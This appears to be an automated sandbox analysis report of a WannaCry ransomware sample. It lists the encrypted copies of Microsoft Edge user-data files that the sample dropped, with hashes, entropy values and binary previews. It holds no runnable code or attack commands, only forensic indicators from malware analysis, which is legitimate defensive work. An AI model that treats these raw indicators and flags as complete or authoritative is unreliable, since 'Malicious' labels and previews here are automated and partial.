                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):10056
                                                                                                      Entropy (8bit):7.984440476201032
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:xQg/h96gifEWGHTpwJByGsvW6+5SwxsZNAzpdXT:+g/L6gifHJBtEW6+oGsZodj
                                                                                                      MD5:5013A83679DF3BAA9B178B5AEEABF796
                                                                                                      SHA1:5BDCE3EEC447A3D3CA096EC27F63B1B3B61FCD3A
                                                                                                      SHA-256:883D52F4688AEF488E9188DE6744A47F573D7495569771A08EE5AB1C101D9DA2
                                                                                                      SHA-512:DABDA8A8B978940C6E9822581F31AB70D0B805DB26A3BBAE8E2D192A1D15643AFD86C6F0B21A65C7E59F6AABBAA098A2C3CAA21A27CBB94E47E33069944895CD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......5.6>.M.W.|l.`s..'.)....*.o8.E.....?...D..5..t.eQ......P<`..,..W<..8..A........s..y.|..N.H...l.....7.I..C].y,.....{.$\.&G.R....M]K....O.y. &..C..@....!Uk...9.}.[...B..:...........X.8...>#.."{2FL4C....Rh#...P.c.%.`.Y.7t.U.~Y.p..Dv.@ph[G...0Y....*&..........f..Wh....R.....}...5............../..&5!...7>..`....I...1..?...l..$....S(|}U....sUMElUM.X.)`...m..U...J.......p.,..$.?y..dA.S..Y....Y..O.Vv+.s]..........V........hHHw..)|.JN.D.......k^'.&{......Z&...7]..}.SH...IXV.I..|.|..8!..H........r.q[.w.O..{..q5."....Nc......yx.8.P..V.>Z..7...B>...uF....E\........i.....tnnM....'..e.....W..!n..g..?...P.O5...Y.%..".d.:........i..s.......v5.87 .PCw.0..`#ALr.ny.......P..z......w6.........Y._^~..C...{(.....4.2G..R./.Skv..x...p....%..2....>.........).....x..o......(Y.....\E>v....Wh[7.."G...".;K0yQ9^j..g....."....).......o..d.P..#...Ow.t..Y.wz...n.N,..k.H....D...+u.L.t.IL.e.c.:..)q=..7...].A.J.f.H!..2..K...-.=G..".....,-U."...C....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.987428239605978
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:xnxT46tE44A8E6qlWWuhE/c3T4B0PIUIBucT5nitW+HoMwHFgjNx6KKPS9+vfQp9:xxTO44Q0W0HjE0PWT5iLHjgNeeYpRffT
                                                                                                      MD5:7C628F5122F160115D76D4F375317458
                                                                                                      SHA1:C8EEF4C8A610FC2C465223A40926814041D48CE2
                                                                                                      SHA-256:1911305C5D5E63C393715AC521F589B401183507EC6E77FE9FAC019D0C3A4762
                                                                                                      SHA-512:BD4BBE952CE578CFF3CB525EF2078AEC37B333000EB2EC7417A5783C4BFF2F072AF280D410A66E4014048A7C6BE3C0AF214F2F2815ABE67F9A1A06FE77CC8A95
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....O..n.....;......shZ..LB........Qt...D......&..M.2.A.M.J.(.2gn........|iD.~..H.0O..l..[...}.dj..=.(.sl\.4.#.HB....S.}t$N*(J)?Rqr..Tf+q{]..@O...q...ze..ac..Y.`.....-.v.....r..*.H....6:. <R8.c6.N ...a....k..c.....}..}..7S..D. ..k.k.(...`I..l........@.......F.X..,.6.#.Yl...E.6R|.....w..m..,.o...j..-.M........P<..Li.....;.....-.d<9#..~)2..#Y..y..3r.81.9sT..P..~.K...f.Gt...Z.{....O.y...B....k#ir..0..'.. .s|4.]j<.%.R$..`.+..@H..h|.+]Y.K....,.\$.........j.S...h.j.....uB'........|U.t7.l....y.i..A....R7u.....u~..6....e4.p;........'...U:...p.....<..Tkt.vE....7..9.XE@.v.7.....X.....`.K).:].n.~9...i.^.;5.....*A.......#...@z.?D.y..H#.J(....d...\...B.G.czY..s..H.e.......{.._......+..3..._..P.B.bY..:.'.W.........c.:.TM.II.tA.pP~...JJ.....s..k..l..'l..x..../.Z..f....f..e`.b..o..,..c....U.O..&$4%DIV3..2..7....$n.`ta7.w.].+..V..l@[y...1]_\v...7...N...^....U.R...x..R..:..y....3.......M...!.K..%ZX.e.....w....6).P..-p.=w.p.-._.....1L).<.]....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4376
                                                                                                      Entropy (8bit):7.962356298938565
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oXi9jf0xp/gDwbe3d0pXtSyAPSJjxV4Tk2AiObfOQjei6kjsxqBY3na:wjpYaTSyASLZb/q16Y3a
                                                                                                      MD5:AC77DE3056228AE322AF8675F995CCAD
                                                                                                      SHA1:0DAEDC26F8CB4730F69A51DB7A1C6DF2BBA12D15
                                                                                                      SHA-256:4617CCBE7D258AF75A71D7D06C3B2996A69472228D3F711672865864E82987E8
                                                                                                      SHA-512:26E46E581F2241AD249DDBA8A3E35C475A65F125627B9A48BE2DCE29E95A230D0ECA7F270661D6AE8BC16DDB0CB41BA4B26A43B138974D5CE4F4703213B421D4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....!z.l).z...> t....~..K........"...J..5|..<.l..9.;.t..3...........O......%..F.D..y.G..k.`p.....JhC;a`u..t..a.....R...8..=XB.qB......h9..AC.k..;hu.5..@].wi...a......u.....o..).4.w(.!..9K.q:V..F..1...\..../.....B".w......]7..@=}.O...^.K.o................ L...r.,..H9S..o......Ji.`n.."...O.2..p.s.ia._....E...+....{z......`O.|_...`..iRR1#6..j..#.).s.=..+.m...n......T4...01.,...S..NGH;..M..^.xE..V..?...#JU..k..X....p.o..\w.b......A..A......e..B.5....Ya.8t...?.~.pb.-...F.K..6........%...R....~.L.A._.Noh....VM[..3t....u.KN{s..`."Qx..}5.t.\......L.N.Th..,u.3.......+..\....)j....1d.....t........&..eZ.G......7..*+..)...#..b9g.D..A.....!.:...^.(nP..cI..w.[.2.W'.....}..<...-._.m.u..0D+m..]..#&..E.%..f.t...A.,.....0..}..v.A.o.e..^.!......;q.........D.....?........@.r.....0.(.S..q..!u{..mY/b.W..}T....T.a%.I.'..(@a.!......~..f..T....y..V.&C.L.[.......:yx.2.a^..!..].y...-....`..f.._Y.q.....cAl..2..."a..c.:.z......V.t...".A..*Jw.Ba.X..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):80488
                                                                                                      Entropy (8bit):7.997716738544695
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:lZt26eFN5MsFjM0cL68YA5lpQnCVD65l8wDY/OrRe:rt2Z5MszcwpCVDu8wDY/OrRe
                                                                                                      MD5:83E8D202D9AD7E1CCF5766310BD7F85A
                                                                                                      SHA1:D8E4FA7E0896E6EDB9A5A94DC07A68542B715893
                                                                                                      SHA-256:6FB6CA5F8CB381227FCA2A8C2A77E2669BCF6BDD50B701559E14F20A85AA4641
                                                                                                      SHA-512:F91BDEB85E4467B868A344DFDBA7F43693956637CF8B4AC82A44B578B312F1D56A65332BFB16D9E60705599BE9DEDB32FCDA90F16F48A2E0093CE01F80C69C73
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......)..\.=.*....V.zb_/.~*.hB&H.Q{G"..2..6..ekt...@.2...5...u...IN.....v..V!3 .f...\...nB..L..b..e"s_.4.M<\.A...%ZN.*6p!tP&.......l.l.s..{g..........7M.c.g+..:..2.m..@.u..I...ty.Q.&.^M..9. F.....)?.G..kh...8...r.2......L.:.NO.6W.F......:m.+...6.%\.QA%.....D9.......(..6..2{..^..W..+..vR..B..wG..44.=z....SX+..YR.U....+.>.8..~...X].....np.-$ZE...j.........l.K......m....jMhs..p;ikn..".`.d.../.%..GtM.../...`.V.....I....b.H.-......r8H..LHC.BjH......^R........J...!Z......ry8;...6..Gk.7`..xH...".....A....`..7|9..V_..#m..,b.wU...Ij..B7.:3...v6,..D0XOqk$%..Q.......m.Um"J......*v.^..{W;og..p.......:e..6PP..]V...e=.....`..BJ"El...V^.....Tr.....;t{.X..2.9......a.1..=I..n......@..w.7...?..zS...L.y....."5...9.........&.5[...:.'. :A..j...w.X.!G$...G.z...3^..p......h.......>H};.eP........M......-."..<..k9.T...N..[f.....)..~5scl.....i~...h.v.SG...B..7}..)....B.P.._%<u..%.......%..f....m....BG..`...uO....K..*.G.dP..a..4.G.gS.;...K.]^../Or.....iicU.I..Vy.;.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Designer\1.0.0.20\InputExtractor.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11848
                                                                                                      Entropy (8bit):7.984539885298477
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:LS7l8f2705T+MMLOFeqOmVqlansJVCxfHV5BB7OtFhMDSWraQyMKi5hqKX99FUGD:2Wf22VVlzBB7EHMDSWOMjrt9FvLW1g
                                                                                                      MD5:0F74C4A07E7A2C481864717E027FC23F
                                                                                                      SHA1:28D5CD892DCFC0CB0A3E1F5F0544DA2B1865329F
                                                                                                      SHA-256:676C17EC1D342B13DEE4FDC0F957C73ECEC9490D7FDF503BE666FF7A1906C28E
                                                                                                      SHA-512:6A820385A9FF1F3ED158CFD75D07FC0D2E3D6E5995322DE84168E3794DE1A868A24DCA4AE51C89A3ABF2DD665E4E24DD81CD97E38CA29B36A7A189F854824981
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....nH........~N.N8.<r.cz.XJg.i.7$....<..e'F....*.d.y......;..k.Wp.s....X...M+?...LS.|..O...3DA....m4..._..p&G..\.~.....n.i....4T)..&..Y<B$x.)A..L.7.......hd..`)...P.J.V...T"(.R.N.....Tg....x...(D...o,W..q....zJ;`,..........OQ....oBa1.;.h.pC)uJ.}dY....../-........<.T}.]..k...... ..+Y...,.K.)L....F.u.v.~...`..k...P.+....Egam....{.`..T.....bpR5....,...)M...c..."..,..M.S...B..`.C[(QqZM.....yli.......m.}6.B..t"..COp..b^.....4H....+....Ux.]=............3....r.i'..E{<....$..# r.i..)F|.\.g.Y.9.R. -:.....p......*.Er.z]#@..&_L...^...YJ..n.8.\...M.zV.[...R.f........4.@...xQ.....R.5K....K.m."....w..N.4)..:F......(J.l.....e...mw.D.d=.1...-:.?q..v.h.;>b...q..K..^4./.d!.?..-..yW.b.`.k(...D..0\P?.bv..YgZ22.F ...Q.s).U3.."..ne.-.&7%..DT.....3...C..8,.g..."..-|..v..+*rx..fA.....B.H....".. HG.+q...d.Z..p..Q..:..^...}.?...A}&.m...P*_ku.%D....w.....ys..5"...R(z...#3.D;.K.....:....k9L.$......{..p......>F....m..)f. Z.GP|{-..h...+.....57.*S=b.bk...j...(@W2X.e....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1179240
                                                                                                      Entropy (8bit):7.999846807356036
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:TcbPkXLoHMgQ0mmn35CiNdJ5FHYX3Uf1bl9SV3+dPcVGdux:Si0Mcr3oA5F4UfO3mhkx
                                                                                                      MD5:71A7B2B7BE4A6E612D0082985815E824
                                                                                                      SHA1:BAF082B56D18411DFCB26F6F33D874AE4AC12B25
                                                                                                      SHA-256:A28C49C642B10B16836098CE459E361337012DF8F8768C640EB2B9485AC3939A
                                                                                                      SHA-512:CDB6470A1B0058426FB68E49438376EB2FDCBD9A6BF353E43796F6B693F195E5CDD1071B2EF629DDB17CB865F4472539CFCD6BA41D00E2AEC64705B591AB4EA6
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......Lk:-.s.~Hs.tn.W....Z...V.Z.1_......%.}.N.7p.Y...v..Y.(.k.?^...x.....I.K...+]....Wuq.%s.\.D-......I5..cS.1.p5l._....c$..w..1....p.P].+.4..!..Pf....^.Q%....c...@.d....FC..p..IE......7r7c_....w1.r.....&.(-_d*.f4..... .rc...S...]M....c.yq2.v=.~......D.........`(..T......q\&...QQ.G........P|.a!3.......Q.F...y.s..r.|.K.zx.Ta[...IHEs...ESJ..F.?.]_P.I....(......B.....?.u.[...r.,.....-..>n.....B7Z.I...1...;'.[S?.F.W00:&f...h..o.....B...3O...YQ.dS3d..|>..v.Ge.....c.i)Ja..B.g.$..0 bN..>.";-.j.....H.....w.PY...q..s....VKj1Z..9r....1i~*.y..j.......M..K?. .=*..s.9*.]....n.....:.x..F....7~..mN.SO3.g.NL..^L.o.p.\X..1.r.'._.q{.w...] M../2i.'.LX.....5.:BR?.J.6.N2t.;......0A.X.l.}....).........8.>.......... .*7..F:.R@<..#......m.B.x....a.!F.Jy1..~"m)..r..W..&.K..j.....b..g.)!.....$..|V..j.......TJe..p.d...]V.'....I..J>.Q.....bEC..U..%...QJ@d.Y....m.1.'_...S.<....V...(0....!.2...Lr9.;.=..N/..^.Hv.@/...<_..'.'..`..D].....,..6..Mt..,M7..@Fg....i.+s.u

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1010680
                                                                                                      Entropy (8bit):7.999809458309973
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:9bmB5sme5wgkEh9J7SzQb92rOvG925Brg6ehdOu/Zy:G5QfkELFSg92KOYDS4
                                                                                                      MD5:3D4A31DC79ECF96B6824E031296A3C86
                                                                                                      SHA1:460B585E11F2D56B102EEC80E084305BD962AA16
                                                                                                      SHA-256:3B9327498C6E6F512D731A9A22E53D9BB326688A0EEAD8C6BE9717AEBD5333F9
                                                                                                      SHA-512:2A8C965FFDC1FA7D43A2261B39500EC50A19CE1F9C12386FE5E62ABF6E9A99FE8A117776B5B5FFBBABF587C81223FD2BB0B6FC268726352A1D7E34CB91DCA16F
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......q......W....&.R.e. .K....{Sb.....`...+.............b....wr.p...+.....6.......G_...n.^G.mx...R..........O.N...l....3v%.R.#.'.Y.i.2L._.Rt,L.........R.d$g.mh=...Z.X..D....../..2Jj..u.=g.-......A...iG...}^(....,M&..."..2K0...^.JA...m..Bf.I.....j.......`c.E.W.x..p..U.....s=D...@....2#..U...1D`..lk." .S.,|+......7U$...\.U..7.h.4T..O_q...o...8R...e..W.}...Q......s.....q..,.......Y..].....gK`..(...5..s..v..'9...0...Ae..........b...'.(.n.....4.u.!...^^...z.d.!.....*.1...".. Go..p.r...f.Lz.P*.7...`.4B.oY..p........Z'W..F[......acA.S...hJ....\f.\B..[.Mz..q.x)....5~.@'.....3..}.pCH..kf."....(T./.:.x...v:f.{...*q.....s..%.....[..89.J&diD..^*.....(..Y....s4...V?%m...IWU..^.....@}...#..4.v.}....K.....Z.AR.]..C...B.nu.7_.[...,..R.../..%.......c.2+"..*C'.!3....c....jUG.T[...&...$t$..N.+.:..k..[Om.F...Q|T..`......_...!L.\..#[)... ..l....-.IVBw!+....|M....iP..t.Vh....O..$..Uy.5..W..x...D'...|J4m.`@..#.....~Da.D7-.-.b.......T}k.wA...$j....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1042184
                                                                                                      Entropy (8bit):7.999804339314018
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:MfMBVmrVHzBBQqh3Jpvxf6lPDSFSAKPKtSN9751Wpr/tKP8:kJ4qh3JfELxuSX1Ar/ty8
                                                                                                      MD5:68A42B6E3E2BF30E950AE75A6BAEEF85
                                                                                                      SHA1:9950704CE33B27EED64E4F27622224F674253367
                                                                                                      SHA-256:40F1BA097FEFC575D155B57515D89BC139FFA7377ED828F664117E75915B0E5C
                                                                                                      SHA-512:DB5A997D0E7C973BEB4C2C63507568D3FE6C0699EF353AA77B3A87EA9EE00B7A1F4B895C417C9954547C5EDA5E482700A568E3EF9029C3220D78FEC7925551AC
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....m....hO=^...]..}...}... ,{ {......Q...K..$....SF..hu..~..7P:.WF.<....*x./..2.?..."X.$Cd..m{,q.(K.X.....tTA.^sF..K8.B....H..[..6. ...}..4..q..%./S........B..."<.J..d...\u...^....7...8._....I...u..<.eG.....K.1.FOd..[..O./..P.0.....cu..8.I.>..!P..T}d...............m%...J..Z.y.A....>y..fC.x..W.D.m..M...}...:.b.)........u....P..2E...\tM.8|....$O.'.....Q.O.)..T....L.O..W.n.HNXi1..z_.N?..H..g....g...g}.....)).R7).U..x3.W.P......z....<.$.a...=...BI...G.xo.h.....T..H..:T......8 ....b....T..!..x...tWN#........m.../_...E.z...mE|./"...w...K.......V..I,...p.+.LU.9M.i.P?lS.+.T...+.....)....J.s5....c..A..#.}.A.*...>._...5j.....Y..(6X.+N.ag0uv`...F\.6..$9bzF.q...Slm.'._B.z8F..V.....7y.(........&'1...!V......W\@=.P.....e.L..<c^.T...W;!fr.K..>A....+.....1".&..0...m.....R...:.AB. ..U......t<......J...NM........E...-........z.R..T.....5!U.41....h.;J...1...V.-b..{....}..*.6.a..5..rq...:..6.........z... 2.B.4. ...2.....O..0Zn.._D:]......<0(AFY.oXs..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1681000
                                                                                                      Entropy (8bit):7.999893008488475
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:jbTSjCtfVD/upyiDu3N3obeWW7pbM9NynoPagtaE:jbT3tdDCLDu3ZMeWipoTyoPagJ
                                                                                                      MD5:1A20282647B1683165A8703D10C13FBF
                                                                                                      SHA1:AC3E3F2491BBF118DDE40703E8782B71BCAAE3F9
                                                                                                      SHA-256:D21A699FD29041AE85E03CBCD5004737054278FB50E5DC39C4D67BE9F4836AD5
                                                                                                      SHA-512:81B5FCBE43AFAB665FC0E96B3CC91AE6319908F3A27A0AA475D1882C0C04AF05100B0CEE9EF072C5860B73A8B67B97C799C9A12092829B7E0A10CC209929D0FA
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......"...6....\...d^.GY..>..3d(.e..&..]..Cq.Q...c(..]gB*.NT.x..I@.1..j._..S.z.../.b.Y(..|.[..^K5..........j5}......:..4{.Y...Nq......@..Hu}.%...'.o..*............(.I.8..A.C.....$.p....1G.)....d.].Q..?....$...P?....v@B$..O..c..#).yA\.X.L...{..+..G._....K.......FU....K..d2.Gs..ZIx.Iw.>P.W..>.......Wc.+...6.8..).B...J..u.....M.J........a..3....+..m...8.....I..+.g....j....wh.N..|.G..k)3..2F.'N..8...Uik.._.....?.0T....d...v*(...q....p..s........o.M....DxC.....N.9x..W..*..).f{MLh&..,d.r....q..j.nr..i.!X.....z(..l..`H]..F.`lj..l*..3.J.....P.6A%..5....KD.0....S..U4P.Vd.-.....*...p$.k.s..].|...f...CbK.>..@.?...^..Q"X....+......*?...jY..o...j...>.Q.Z..).s...VW..*..'.y.B.7...&..8T..K...B3.or..*..{...-n.......N.&a..c.f.w.+.B..G..b.....i.f&..S...I..H......c.A....JCS.sY.06.5..*.Z^.l.N.?x......k..v..`#FcH.[...WQr.2.O.2....2....'.......%..2Ys...W........k.c..8]....L......v.C.w.....m.^.a..N..uJ.*.....K.....Q.....3....%qY3.S%.5j|..jh..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):80072
                                                                                                      Entropy (8bit):7.997965529746467
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:3out7aKiJJYEoBqmF+ec9dX/yrBmVjFL6Gg4PApHPMoD38Kuh5TrNfPDJHGqnZMv:13iJJYEoBJF+jyrBmyePYL8KuhPnlpuv
                                                                                                      MD5:12B6CF957F61E9AE2B70B2B940790C36
                                                                                                      SHA1:173CC912B98459217B32B36826A2DF158720316A
                                                                                                      SHA-256:347763A0C6825C2A23945B9BF848ACF699DF9D7E07EEE20853CA3330C08097E8
                                                                                                      SHA-512:A5E0C66E437828398F91C53A6E51DEFDE53805AB4DE9244425AAEA4AF54ADDE42320AA2EE626FF2E911CF6B7493469C8D34E5AC0701A5660807EC589F23E68F6
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....{G..A..&T..N.wz^.....L*....N..+.Nk.z{..|....(5.TL.........K<GX..2..*$..R...L..\...xJB....E.8J...CN..?.D.e......6..a.7..k...;.........>.:.....)QO...p...T...W.a,........v.H....MW.o..&.q.....> ..bM.-=O...~... .ss.#>.-F..!.;.y.Et....G,..r..=v..j0.....7.......l.[..-..9.I.....(...OP...w...._.Y....[....xG..>.7....Px..L....w..A@._Y`.....{...OQs..{...S-.+i..d..M$<.f......vM....t.#....L....wN.-t..o.0$.e.l..R...].N.r"T.T...._.8.......C.}^W...*..r..s..T`.m.e...{.....^?w.XoCa.....a`..I.h...T..0...f.....4.<'(W[.`..p....-dkDD8.f.Z..+...<?<+>..eZ..Tz%.H..OD......H?.!.....s.N.....L%pV..Yv0...z.T.6N...`B....:......|.h<?..)..wu.49....I0b.+........a.NJP.^^..1o.*.|X..Aw:...$...1..p......G.......I6..hO.g.r.....T,..MR .........q..Si.7.8a.}{..s..*Ma.......u.M......O!d..@..X..| M..d...OJ...D4I.. .o,V...p?.'.?.k..&.8."L..d`.......]......Fs..A..Q8.F.G...*.7c...."........0....k.l.!dq....[7..G....0.G..t..'u..Na.E...-1.[=.......&....[.....~......|...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):988600
                                                                                                      Entropy (8bit):7.999816986322525
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:vEBEJoRHFKOPrI2Gp2uBtFF6E/7VtvLrVtEOAC/:IaoRdoLNLtvd+6
                                                                                                      MD5:DF0DAE2035F3B196915986F2A0CFC29A
                                                                                                      SHA1:EF71BE072E881F3462300519D63D01079B03445C
                                                                                                      SHA-256:CD7F0F794B7C5ABADBBE8ACA84782D3927D0E66FD376B82678157447652BDB38
                                                                                                      SHA-512:0E0270F7635F1C73D3FF57DE110E3904B88506810D2C59D9C9F5D7565DA21BBEE604DE4C8D75F507A2D0EC41F58023C6451D1D6E98A58A1CA714D7CCD3D5B587
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......R.:...QN.`/.....3..,@.......c....:d..q.<N.....Ss.!...BX....p.....D.+..B.q.z.0..(.[.G...+7.$.D.y ......@...!.j..&...$.=.C.1.....{.g.Fy..>...5y..E.H$.*.>.?.AinD.......z.\.3..v.......-/.k..@o.....).6..6?.?.`...<..1Uq..$..R.....\.h....([..e...K..|.................?..s.w.I.=l5........d.'....[...\...U..}.....D...."...5...s..~.3...`e.N.D...f*..d..v.Ct...M.,m.k...f.v..p.ME.......B.>.`.k&.|...U..J.8t.=,z.O....f.b.pG.........Q.)b....N....../|....`.....O..n*fK..k..s..#.9..B.u..P..........*..l.......aO.6?K..@.-r....2.`........_=.uP.r....n'...y.O.<jZ......o..S.....z.jW.....s@rg.dK.=.cZ.u..S....a...Yl...x\&*t....i......>..I.P|M...f#......#....M......r<.X..`|.....g.k~.^...VD..xLzC.T.-...."%.L.?K.^............B.THA.yE..R,..i....w.C.u3..Q.+.mdr.9.O.-.........Zi.Y..qI!.\..~..xq{7!.,.@.`..C......W..z....|.%.W..E.C/?z.4?..x....<t.S.3.H..#?....PD....K...5..,...Q.A.\.|1)/7.E&..u...>.....@...V.^...&.ct..Z......,s......?.KZ...z..../V.y8.b..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5653560
                                                                                                      Entropy (8bit):7.9999667099060305
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:98304:kjYEGY30X/EutTtU40XQQ5YZv+2/YGjB+nzCRaif0HY61Bv5JO14WhqFfe1NhxH:kjCZADXQQ5Y5N/YGNQC0ieHBvnO14nVC
                                                                                                      MD5:019A8755B32E286D7E5A0B05D851E463
                                                                                                      SHA1:C1E7F6AC861144129934DFECC681D7F3DD8602E1
                                                                                                      SHA-256:0F2D196854C5331CD16CAD01A0C4D7E916EDE0404784DFA3569454BDD97C0374
                                                                                                      SHA-512:ADB7A49000FB7C444A27D18C3A53C109ABF0866C7AA490FD568534A3B7C3D9D4508AB36CEC8B28FFF039637429BDEDF61E7964B6C8767711C7D496857696F90E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........M....*#.vf]^g.%a.g+.z.....D9jB..j.6.....M....a..S.I>../.Q|.-.P;. .}....M#..5..L.....Y..gp.mI....:!....m..G5z'.^.$.b...z%........"...{..;.I.>.v.....<p.......n.....j.`.]..K...r..=...rj{.>Ut).A.Z....-h..;o..=...eQ.&...[u...E!.a..............CV.....^. 'bIGB...v...a..{.N.m..~.K.l.%a...4.d....j4.......gd.|...`..M...Y^.~.\.....C........s..n;.K.U~.'...A..%..p.....A._.%*.R1..u.....L..f..B..?9.N.".G.Y.....n?.G.>P:.m.uF..9..Z.k...Hyl..ZC|.Dt..'.K..j>G.a...A.c.r .s._y.#R..Y/.?.P.>.wh\..fsUn(.Jb.{,V.v..s'...J.z.qP..:......~.8.\W...6.A,._.o|.Q.N..M....:.Rq...E&c..W<..j...c..#.4.j.J.%.....w...j..N.+........5X...dw...,.yU..0(.{.l..&..o8..%.......592.%...=`.^H....#~.&.........<.R...'`.9@....MpQ..p..8..-1.m.S.R.....U....h7a._..F..K...0..).;S.$..q..;S......U.U...z..V...9.t...tk....H.....t....<.....r..M.;..}.Ed.'p.<..Vm.F..S... rJ.V..BU...]..\...2......I.........2k....<.Jf'`...o.|.-D...8.H....>QCkD1.."u....Z..W.O.jH....f\Ia.....O=.H./.x..]Vt.y

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_iframe_driver.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):12216
                                                                                                      Entropy (8bit):7.98517594598268
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:3FBkNPi51iPMtrbY3rU9maU2RnlHx74noijRb3JpwIMpOBAlLmedhBwn:Te65oPMlQrUMarlR5itbw3pOByLLd3c
                                                                                                      MD5:4B6C01DC42532E167222BEF6F371B02F
                                                                                                      SHA1:92C45A857B7747B83BC766B2D99380A5771D0799
                                                                                                      SHA-256:801C1B47430F2E002062C100B02C2CF40BD74A709F7C24F95D11BF673C23DD18
                                                                                                      SHA-512:76581E829FAED86E5A80321CFF8E4404A57104822900C980FEB84B6E6C76C9D905F3429D95DD8306154973641767D2ED51AB1429240CD64D888ACFE62EDABFCF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
